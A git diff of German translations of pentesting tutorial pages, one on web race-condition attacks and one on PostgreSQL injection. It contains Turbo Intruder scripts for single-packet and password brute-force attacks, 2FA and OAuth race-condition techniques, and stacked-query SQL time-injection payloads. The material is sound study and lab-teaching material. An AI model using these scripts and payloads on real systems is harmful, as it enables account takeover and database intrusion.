Das Verständnis der Architektur des Ziels ist entscheidend. Front-End-Server können Anfragen möglicherweise unterschiedlich routen, was die Zeitnahme beeinflusst. Eine vorbeugende serverseitige Verbindungsaufwärmung durch belanglose Anfragen könnte die Zeitnahme von Anfragen normalisieren.
|
||||
|
||||
#### Umgang mit Sitzungsbasierter Sperrung
|
||||
|
||||
Frameworks wie der PHP-Sitzungs-Handler serialisieren Anfragen nach Sitzung, was potenziell Sicherheitslücken verschleiern kann. Die Verwendung unterschiedlicher Sitzungstoken für jede Anfrage kann dieses Problem umgehen.
|
||||
Frameworks wie der PHP-Sitzungshandler serialisieren Anfragen nach Sitzung, was potenziell Schwachstellen verschleiern kann. Die Verwendung unterschiedlicher Sitzungstoken für jede Anfrage kann dieses Problem umgehen.
|
||||
|
||||
#### Überwindung von Raten- oder Ressourcenbeschränkungen
|
||||
|
||||
Wenn die Verbindungsaufwärmung nicht wirksam ist, kann das absichtliche Auslösen von Verzögerungen der Raten- oder Ressourcenbeschränkungen der Webserver durch eine Flut von Dummy-Anfragen den Single-Packet-Angriff erleichtern, indem eine serverseitige Verzögerung induziert wird, die für Race Conditions förderlich ist.
|
||||
#### Überwindung von Rate- oder Ressourcenbeschränkungen
|
||||
|
||||
Wenn die Verbindungsaufwärmung nicht wirksam ist, kann das absichtliche Auslösen von Verzögerungen durch Webserver-Raten- oder Ressourcenbeschränkungen durch eine Flut von Dummy-Anfragen den Ein-Paket-Angriff erleichtern, indem eine serverseitige Verzögerung induziert wird, die für Rennbedingungen förderlich ist.
|
||||
|
||||
## Angriffsbeispiele
|
||||
|
||||
* **Tubo Intruder - HTTP2 Single-Packet-Angriff (1 Endpunkt)**: Sie können die Anfrage an **Turbo Intruder** senden (`Erweiterungen` -> `Turbo Intruder` -> `An Turbo Intruder senden`), Sie können in der Anfrage den Wert, den Sie für **`%s`** brute forcen möchten, wie in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`, ändern und dann das **`examples/race-single-packer-attack.py`** auswählen:
|
||||
* **Tubo Intruder - HTTP2 Single-Paket-Angriff (1 Endpunkt)**: Sie können die Anfrage an **Turbo Intruder** senden (`Erweiterungen` -> `Turbo Intruder` -> `An Turbo Intruder senden`), Sie können in der Anfrage den Wert, den Sie für **Brute Force** möchten, ändern für **`%s`** wie in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` und dann das **`examples/race-single-packer-attack.py`** auswählen:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie **verschiedene Werte senden** möchten, können Sie den Code mit dem folgenden ändern, der eine Wordlist aus der Zwischenablage verwendet:
|
||||
Wenn Sie **verschiedene Werte senden** möchten, könnten Sie den Code mit diesem ändern, der eine Wortliste aus der Zwischenablage verwendet:
|
||||
```python
|
||||
passwords = wordlists.clipboard
|
||||
for password in passwords:
|
||||
engine.queue(target.req, password, gate='race1')
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Wenn die Webseite kein HTTP2 unterstützt (nur HTTP1.1), verwenden Sie stattdessen `Engine.THREADED` oder `Engine.BURP` anstelle von `Engine.BURP2`.
|
||||
Wenn die Website HTTP2 nicht unterstützt (nur HTTP1.1), verwenden Sie `Engine.THREADED` oder `Engine.BURP` anstelle von `Engine.BURP2`.
|
||||
{% endhint %}
|
||||
|
||||
* **Tubo Intruder - HTTP2 Einzelpaket-Angriff (mehrere Endpunkte)**: Wenn Sie eine Anfrage an einen Endpunkt senden müssen und dann mehrere Anfragen an andere Endpunkte, um die RCE auszulösen, können Sie das Skript `race-single-packet-attack.py` wie folgt ändern:
|
||||
* **Tubo Intruder - HTTP2 single-packet attack (Mehrere Endpunkte)**: Wenn Sie eine Anfrage an 1 Endpunkt senden müssen und dann mehrere an andere Endpunkte, um die RCE auszulösen, können Sie das Skript `race-single-packet-attack.py` wie folgt ändern:
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
|
@ -107,18 +107,18 @@ engine.openGate(currentAttempt)
|
|||
```
|
||||
* Es ist auch in **Repeater** über die neue Option '**Gruppe parallel senden**' in Burp Suite verfügbar.
|
||||
* Für **limit-overrun** könnten Sie einfach die **gleiche Anfrage 50 Mal** in der Gruppe hinzufügen.
|
||||
* Für **Verbindungswärmung** könnten Sie am **Anfang** der **Gruppe** einige Anfragen an einen nicht statischen Teil des Webservers hinzufügen.
|
||||
* Um den Prozess **zwischen** der Verarbeitung **einer Anfrage und einer anderen** in zwei Unterzustandsschritten zu **verzögern**, könnten Sie zusätzliche Anfragen zwischen beiden Anfragen hinzufügen.
|
||||
* Für einen **Multi-Endpoint** RC könnten Sie die **Anfrage**, die zum versteckten Zustand führt, senden und dann **50 Anfragen** direkt danach senden, die den versteckten Zustand ausnutzen.
|
||||
* Für **Verbindungsaufwärmung** könnten Sie **am Anfang der Gruppe** einige Anfragen an einen nicht statischen Teil des Webservers hinzufügen.
|
||||
* Um den Prozess **zwischen der Bearbeitung einer Anfrage und einer anderen** in 2 Unterzustandsschritten zu **verzögern**, könnten Sie **zusätzliche Anfragen zwischen** beiden Anfragen hinzufügen.
|
||||
* Für einen **Multi-Endpoint** RC könnten Sie beginnen, die **Anfrage zu senden, die zum versteckten Zustand führt**, und dann **50 Anfragen** direkt danach senden, die **den versteckten Zustand ausnutzen**.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Raw BF
|
||||
### Roh BF
|
||||
|
||||
Vor der vorherigen Forschung wurden einige Payloads verwendet, die versuchten, die Pakete so schnell wie möglich zu senden, um einen RC zu verursachen.
|
||||
Vor der vorherigen Forschung wurden einige Payloads verwendet, die versuchten, die Pakete so schnell wie möglich zu senden, um eine RC zu verursachen.
|
||||
|
||||
* **Repeater:** Überprüfen Sie die Beispiele aus dem vorherigen Abschnitt.
|
||||
* **Intruder**: Senden Sie die **Anfrage** an **Intruder**, setzen Sie die **Anzahl der Threads** im **Optionsmenü auf 30** und wählen Sie als Payload **Null-Payloads** und generieren Sie **30**.
|
||||
* **Intruder**: Senden Sie die **Anfrage** an **Intruder**, setzen Sie die **Anzahl der Threads** im **Optionsmenü auf 30** und wählen Sie als Payload **Null-Payloads** aus und generieren Sie **30**.
|
||||
* **Turbo Intruder**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
|
@ -166,76 +166,75 @@ print(results)
|
|||
|
||||
asyncio.run(main())
|
||||
```
|
||||
## **RC Methodik**
|
||||
## **RC Methodologie**
|
||||
|
||||
### Limit-Überlauf / TOCTOU
|
||||
|
||||
Dies ist die grundlegendste Art von Rennbedingung, bei der **Schwachstellen** auftreten, die an Orten auftreten, an denen die Anzahl der möglichen Aktionen begrenzt ist. Zum Beispiel die mehrfache Verwendung desselben Rabattcodes in einem Webshop. Ein sehr einfaches Beispiel findet sich in [**diesem Bericht**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) oder in [**diesem Fehler**](https://hackerone.com/reports/759247)**.**
|
||||
Dies ist die grundlegendste Art von Race Condition, bei der **Schwachstellen auftreten**, die **die Anzahl der Male begrenzen, die Sie eine Aktion ausführen können**. Zum Beispiel das mehrfache Verwenden desselben Rabattcodes in einem Webshop. Ein sehr einfaches Beispiel finden Sie in [**diesem Bericht**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) oder in [**diesem Bug**](https://hackerone.com/reports/759247)**.**
|
||||
|
||||
Es gibt viele Variationen dieser Art von Angriff, darunter:
|
||||
Es gibt viele Variationen dieses Angriffstyps, darunter:
|
||||
|
||||
* Mehrfaches Einlösen einer Geschenkkarte
|
||||
* Mehrfaches Bewerten eines Produkts
|
||||
* Abheben oder Übertragen von Bargeld über den Kontostand hinaus
|
||||
* Abheben oder Übertragen von Bargeld über Ihr Kontoguthaben hinaus
|
||||
* Wiederverwendung einer einzelnen CAPTCHA-Lösung
|
||||
* Umgehen einer Anti-Brute-Force-Ratebegrenzung
|
||||
* Umgehen einer Anti-Brute-Force-Ratenbegrenzung
|
||||
|
||||
### **Versteckte Unterzustände**
|
||||
|
||||
Die Ausnutzung komplexer Rennbedingungen beinhaltet oft die Nutzung kurzzeitiger Gelegenheiten zur Interaktion mit versteckten oder **unerwünschten Maschinenunterzuständen**. So gehen Sie vor:
|
||||
Das Ausnutzen komplexer Race Conditions beinhaltet oft die Nutzung kurzer Gelegenheiten zur Interaktion mit versteckten oder **unerwünschten maschinellen Unterzuständen**. So gehen Sie vor:
|
||||
|
||||
1. **Potenzielle versteckte Unterzustände identifizieren**
|
||||
- Beginnen Sie damit, Endpunkte zu ermitteln, die kritische Daten wie Benutzerprofile oder Passwortrücksetzungsprozesse ändern oder mit ihnen interagieren. Konzentrieren Sie sich auf:
|
||||
- **Speicherung**: Bevorzugen Sie Endpunkte, die serverseitige persistente Daten manipulieren, gegenüber solchen, die Daten clientseitig verarbeiten.
|
||||
- **Aktion**: Suchen Sie nach Operationen, die vorhandene Daten ändern, da diese eher zu ausnutzbaren Bedingungen führen als solche, die neue Daten hinzufügen.
|
||||
- **Schlüsselung**: Erfolgreiche Angriffe beinhalten in der Regel Operationen, die auf demselben Identifikator basieren, z. B. Benutzername oder Rücksetzungstoken.
|
||||
|
||||
* Beginnen Sie damit, Endpunkte zu ermitteln, die kritische Daten wie Benutzerprofile oder Passwortzurücksetzungsprozesse ändern oder mit ihnen interagieren. Konzentrieren Sie sich auf:
|
||||
* **Speicherung**: Bevorzugen Sie Endpunkte, die serverseitige persistente Daten manipulieren, gegenüber denen, die Daten clientseitig verarbeiten.
|
||||
* **Aktion**: Suchen Sie nach Operationen, die vorhandene Daten ändern, da diese eher ausnutzbare Bedingungen schaffen als solche, die neue Daten hinzufügen.
|
||||
* **Schlüsselung**: Erfolgreiche Angriffe beinhalten in der Regel Operationen, die auf demselben Identifikator basieren, z. B. Benutzername oder Zurücksetzungstoken.
|
||||
2. **Erste Sondierung durchführen**
|
||||
- Testen Sie die identifizierten Endpunkte mit Rennbedingungsangriffen und beobachten Sie Abweichungen von den erwarteten Ergebnissen. Unerwartete Antworten oder Änderungen im Anwendungsverhalten können auf eine Schwachstelle hinweisen.
|
||||
* Testen Sie die identifizierten Endpunkte mit Race-Condition-Angriffen und beobachten Sie Abweichungen von den erwarteten Ergebnissen. Unerwartete Antworten oder Änderungen im Anwendungsverhalten können auf eine Schwachstelle hinweisen.
|
||||
3. **Schwachstelle demonstrieren**
|
||||
* Beschränken Sie den Angriff auf die minimale Anzahl von Anfragen, die benötigt werden, um die Schwachstelle auszunutzen, oft nur zwei. Dieser Schritt erfordert möglicherweise mehrere Versuche oder Automatisierung aufgrund des präzisen Timing.
|
||||
|
||||
3. **Die Schwachstelle demonstrieren**
|
||||
- Reduzieren Sie den Angriff auf die minimale Anzahl von Anfragen, die erforderlich sind, um die Schwachstelle auszunutzen, oft nur zwei. Dieser Schritt erfordert möglicherweise mehrere Versuche oder Automatisierung aufgrund des präzisen Timings.
|
||||
### Zeitkritische Angriffe
|
||||
|
||||
### Zeitabhängige Angriffe
|
||||
|
||||
Präzises Timing von Anfragen kann Schwachstellen aufdecken, insbesondere wenn vorhersehbare Methoden wie Zeitstempel für Sicherheitstoken verwendet werden. Zum Beispiel könnten durch die Generierung von Passwortrücksetztokens basierend auf Zeitstempeln identische Tokens für gleichzeitige Anfragen ermöglicht werden.
|
||||
Präzision beim Timing von Anfragen kann Schwachstellen aufdecken, insbesondere wenn vorhersehbare Methoden wie Zeitstempel für Sicherheitstoken verwendet werden. Beispielsweise könnten durch die Generierung von Passwortzurücksetzungstoken basierend auf Zeitstempeln identische Tokens für gleichzeitige Anfragen ermöglicht werden.
|
||||
|
||||
**Zum Ausnutzen:**
|
||||
- Verwenden Sie präzises Timing, wie einen einzelnen Paketangriff, um gleichzeitige Passwortrücksetzanfragen zu stellen. Übereinstimmende Tokens deuten auf eine Schwachstelle hin.
|
||||
|
||||
* Verwenden Sie präzises Timing, wie bei einem Ein-Paket-Angriff, um gleichzeitige Passwortzurücksetzungsanfragen zu stellen. Identische Tokens deuten auf eine Schwachstelle hin.
|
||||
|
||||
**Beispiel:**
|
||||
- Fordern Sie gleichzeitig zwei Passwortrücksetztokens an und vergleichen Sie sie. Übereinstimmende Tokens deuten auf einen Fehler in der Token-Generierung hin.
|
||||
|
||||
**Überprüfen Sie dieses [PortSwigger Lab](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities), um dies auszuprobieren.**
|
||||
* Fordern Sie zwei Passwortzurücksetzungstoken gleichzeitig an und vergleichen Sie sie. Übereinstimmende Tokens deuten auf einen Fehler in der Token-Generierung hin.
|
||||
|
||||
**Überprüfen Sie dieses** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **um dies auszuprobieren.**
|
||||
|
||||
## Fallstudien zu versteckten Unterzuständen
|
||||
|
||||
### Bezahlen und einen Artikel hinzufügen
|
||||
### Bezahlen & Artikel hinzufügen
|
||||
|
||||
Überprüfen Sie dieses [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation), um zu sehen, wie Sie in einem Geschäft **bezahlen** und einen zusätzlichen Artikel hinzufügen können, für den Sie nicht bezahlen müssen.
|
||||
Überprüfen Sie dieses [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation), um zu sehen, wie Sie in einem Geschäft **bezahlen** und **einen zusätzlichen** Artikel hinzufügen können, für den Sie **nicht bezahlen müssen**.
|
||||
|
||||
### Andere E-Mails bestätigen
|
||||
|
||||
Die Idee besteht darin, **eine E-Mail-Adresse zu überprüfen und gleichzeitig in eine andere zu ändern**, um herauszufinden, ob die Plattform die neue Adresse überprüft.
|
||||
Die Idee ist es, **eine E-Mail-Adresse zu überprüfen und gleichzeitig in eine andere zu ändern**, um herauszufinden, ob die Plattform die neue geänderte Adresse überprüft.
|
||||
|
||||
### Ändern der E-Mail-Adresse in 2 E-Mail-Adressen basierend auf Cookies
|
||||
### E-Mail zu 2 E-Mail-Adressen Cookie-basiert ändern
|
||||
|
||||
Laut [**dieser Untersuchung**](https://portswigger.net/research/smashing-the-state-machine) war Gitlab anfällig für eine Übernahme auf diese Weise, da es möglicherweise das **E-Mail-Verifizierungstoken einer E-Mail an die andere E-Mail sendet**.
|
||||
Laut [**dieser Forschung**](https://portswigger.net/research/smashing-the-state-machine) war Gitlab anfällig für eine Übernahme auf diese Weise, weil es möglicherweise das **E-Mail-Verifizierungstoken einer E-Mail an die andere E-Mail sendet**.
|
||||
|
||||
**Überprüfen Sie dieses [PortSwigger Lab](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint), um dies auszuprobieren.**
|
||||
**Überprüfen Sie dieses** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **um dies auszuprobieren.**
|
||||
|
||||
### Versteckte Datenbankzustände / Bestätigungsumgehung
|
||||
|
||||
Wenn **2 verschiedene Schreibvorgänge** verwendet werden, um **Informationen** in einer **Datenbank hinzuzufügen**, gibt es einen kleinen Zeitraum, in dem nur die erste Daten in die Datenbank geschrieben wurden. Zum Beispiel werden bei der Erstellung eines Benutzers der **Benutzername** und das **Passwort** möglicherweise **geschrieben** und dann das Token zur Bestätigung des neu erstellten Kontos geschrieben. Dies bedeutet, dass das **Token zur Bestätigung eines Kontos für kurze Zeit null ist**.
|
||||
Wenn **2 verschiedene Schreibvorgänge** verwendet werden, um **Informationen** in einer **Datenbank hinzuzufügen**, gibt es einen kurzen Zeitraum, in dem **nur die erste Daten** in die Datenbank geschrieben wurde. Beispielsweise könnten bei der Erstellung eines Benutzers der **Benutzername** und das **Passwort** geschrieben werden und dann das Token zur Bestätigung des neu erstellten Kontos. Dies bedeutet, dass für kurze Zeit das **Token zur Bestätigung eines Kontos null ist**.
|
||||
|
||||
Daher könnte das **Registrieren eines Kontos und das Senden mehrerer Anfragen mit einem leeren Token** (`token=` oder `token[]=` oder einer anderen Variation) ermöglichen, ein Konto zu **bestätigen**, bei dem Sie die E-Mail nicht kontrollieren.
|
||||
Daher könnte das **Registrieren eines Kontos und das Senden mehrerer Anfragen mit einem leeren Token** (`token=` oder `token[]=` oder einer anderen Variation) zur sofortigen Bestätigung des Kontos ermöglichen, ein Konto zu bestätigen, bei dem Sie die E-Mail nicht kontrollieren.
|
||||
|
||||
**Überprüfen Sie dieses [PortSwigger Lab](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction), um dies auszuprobieren.**
|
||||
**Überprüfen Sie dieses** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **um dies auszuprobieren.**
|
||||
|
||||
### 2FA umgehen
|
||||
|
||||
Der folgende Pseudocode ist anfällig für eine Rennbedingung, da in einer sehr kurzen Zeit die **2FA nicht durchgesetzt wird**, während die Sitzung erstellt wird:
|
||||
Der folgende Pseudocode ist anfällig für Race Condition, weil in einem sehr kurzen Zeitraum die **2FA nicht durchgesetzt wird**, während die Sitzung erstellt wird:
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
|
@ -246,19 +245,19 @@ session['enforce_mfa'] = True
|
|||
### OAuth2 ewige Persistenz
|
||||
|
||||
Es gibt mehrere [**OAuth-Anbieter**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Diese Dienste ermöglichen es Ihnen, eine Anwendung zu erstellen und Benutzer zu authentifizieren, die der Anbieter registriert hat. Um dies zu tun, muss der **Client** Ihrer Anwendung erlauben, auf einige ihrer Daten innerhalb des **OAuth-Anbieters** zuzugreifen.\
|
||||
Bis hierhin handelt es sich nur um eine gewöhnliche Anmeldung mit Google/LinkedIn/GitHub... bei der Sie aufgefordert werden, eine Seite anzuzeigen, auf der steht: "_Application \<InsertCoolName> möchte auf Ihre Informationen zugreifen. Möchten Sie dies zulassen?_"
|
||||
Also, bis hierhin nur ein üblicher Login mit Google/LinkedIn/GitHub... wo Sie mit einer Seite aufgefordert werden, die besagt: "_Anwendung \<InsertCoolName> möchte auf Ihre Informationen zugreifen, möchten Sie dies zulassen?_"
|
||||
|
||||
#### Race Condition in `authorization_code`
|
||||
|
||||
Das **Problem** tritt auf, wenn Sie dies **akzeptieren** und automatisch einen **`authorization_code`** an die bösartige Anwendung senden. Diese Anwendung missbraucht dann eine Race Condition im OAuth-Dienstanbieter, um mehr als einen AT/RT (_Authentication Token/Refresh Token_) aus dem **`authorization_code`** für Ihr Konto zu generieren. Im Wesentlichen missbraucht sie die Tatsache, dass Sie der Anwendung erlaubt haben, auf Ihre Daten zuzugreifen, um **mehrere Konten zu erstellen**. Wenn Sie dann die Anwendung nicht mehr erlauben, auf Ihre Daten zuzugreifen, wird ein Paar AT/RT gelöscht, aber die anderen bleiben gültig.
|
||||
Das **Problem** tritt auf, wenn Sie es **akzeptieren** und automatisch einen **`authorization_code`** an die bösartige Anwendung senden. Dann missbraucht diese **Anwendung eine Race Condition im OAuth-Dienstanbieter, um mehr als ein AT/RT** (_Authentifizierungstoken/Erneuerungstoken_) aus dem **`authorization_code`** für Ihr Konto zu generieren. Grundsätzlich wird sie den Umstand ausnutzen, dass Sie der Anwendung erlaubt haben, auf Ihre Daten zuzugreifen, um **mehrere Konten zu erstellen**. Dann, wenn Sie der Anwendung **die Erlaubnis entziehen, auf Ihre Daten zuzugreifen, wird ein Paar AT/RT gelöscht, aber die anderen werden weiterhin gültig sein**.
|
||||
|
||||
#### Race Condition in `Refresh Token`
|
||||
|
||||
Sobald Sie einen gültigen RT erhalten haben, können Sie versuchen, ihn zu missbrauchen, um mehrere AT/RT zu generieren, und selbst wenn der Benutzer die Berechtigungen für die bösartige Anwendung zum Zugriff auf seine Daten widerruft, bleiben mehrere RTs gültig.
|
||||
Sobald Sie einen gültigen RT erhalten haben, könnten Sie versuchen, ihn zu missbrauchen, um mehrere AT/RT zu generieren, und **selbst wenn der Benutzer die Berechtigungen** für die bösartige Anwendung zum Zugriff auf seine Daten **widerruft, werden mehrere RTs weiterhin gültig sein**.
|
||||
|
||||
## **RC in WebSockets**
|
||||
|
||||
In [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) finden Sie ein PoC in Java, um WebSocket-Nachrichten **parallel** zu senden und so auch **Race Conditions in WebSockets** auszunutzen.
|
||||
In [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) finden Sie einen PoC in Java, um WebSocket-Nachrichten **parallel** zu senden und **Race Conditions auch in WebSockets** auszunutzen.
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
@ -270,22 +269,22 @@ In [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben** oder **HackTricks im PDF-Format herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder folgen Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repos senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
|
||||
Jetzt zugreifen:
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mithilfe der weltweit **fortschrittlichsten Community-Tools** **Workflows zu erstellen und zu automatisieren**.\
|
||||
Heute noch Zugriff erhalten:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
|
@ -10,11 +10,11 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys senden.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -26,7 +26,7 @@ Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hack
|
|||
|
||||
## Netzwerkinteraktion - Privilege Escalation, Portscanner, Offenlegung der NTLM-Challenge-Antwort & Exfiltration
|
||||
|
||||
Das **PostgreSQL-Modul `dblink`** bietet Möglichkeiten, sich mit anderen PostgreSQL-Instanzen zu verbinden und TCP-Verbindungen auszuführen. Diese Funktionen, in Kombination mit der Funktionalität `COPY FROM`, ermöglichen Aktionen wie Privilege Escalation, Portscans und das Erfassen von NTLM-Challenge-Antworten. Für detaillierte Methoden zur Ausführung dieser Angriffe überprüfen Sie, wie Sie [diese Angriffe durchführen](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
Das **PostgreSQL-Modul `dblink`** bietet Möglichkeiten, sich mit anderen PostgreSQL-Instanzen zu verbinden und TCP-Verbindungen auszuführen. Diese Funktionen, in Kombination mit der Funktionalität `COPY FROM`, ermöglichen Aktionen wie Privilege Escalation, Portscanning und das Erfassen von NTLM-Challenge-Antworten. Für detaillierte Methoden zur Ausführung dieser Angriffe überprüfen Sie, wie Sie [diese Angriffe ausführen](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
|
||||
### **Exfiltrationsbeispiel unter Verwendung von dblink und großen Objekten**
|
||||
|
||||
|
@ -45,26 +45,26 @@ Sie können [**dieses Beispiel lesen**](dblink-lo\_import-data-exfiltration.md),
|
|||
### PostgreSQL-Stringfunktionen
|
||||
|
||||
Das Manipulieren von Zeichenfolgen könnte Ihnen helfen, **WAFs oder andere Einschränkungen zu umgehen**.\
|
||||
[**Auf dieser Seite**](https://www.postgresqltutorial.com/postgresql-string-functions/) **finden Sie einige nützliche Stringfunktionen.**
|
||||
[**Auf dieser Seite** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**finden Sie einige nützliche Stringfunktionen.**
|
||||
|
||||
### Gestapelte Abfragen
|
||||
|
||||
Denken Sie daran, dass PostgreSQL gestapelte Abfragen unterstützt, aber mehrere Anwendungen einen Fehler anzeigen werden, wenn 2 Antworten zurückgegeben werden, wenn nur 1 erwartet wird. Sie können dennoch die gestapelten Abfragen über Time Injection missbrauchen:
|
||||
Denken Sie daran, dass PostgreSQL gestapelte Abfragen unterstützt, aber mehrere Anwendungen einen Fehler anzeigen werden, wenn 2 Antworten zurückgegeben werden, wenn nur 1 erwartet wird. Sie können dennoch gestapelte Abfragen über Time Injection missbrauchen:
|
||||
```
|
||||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
```
|
||||
### XML Tricks
|
||||
### XML-Tricks
|
||||
|
||||
**query\_to\_xml**
|
||||
|
||||
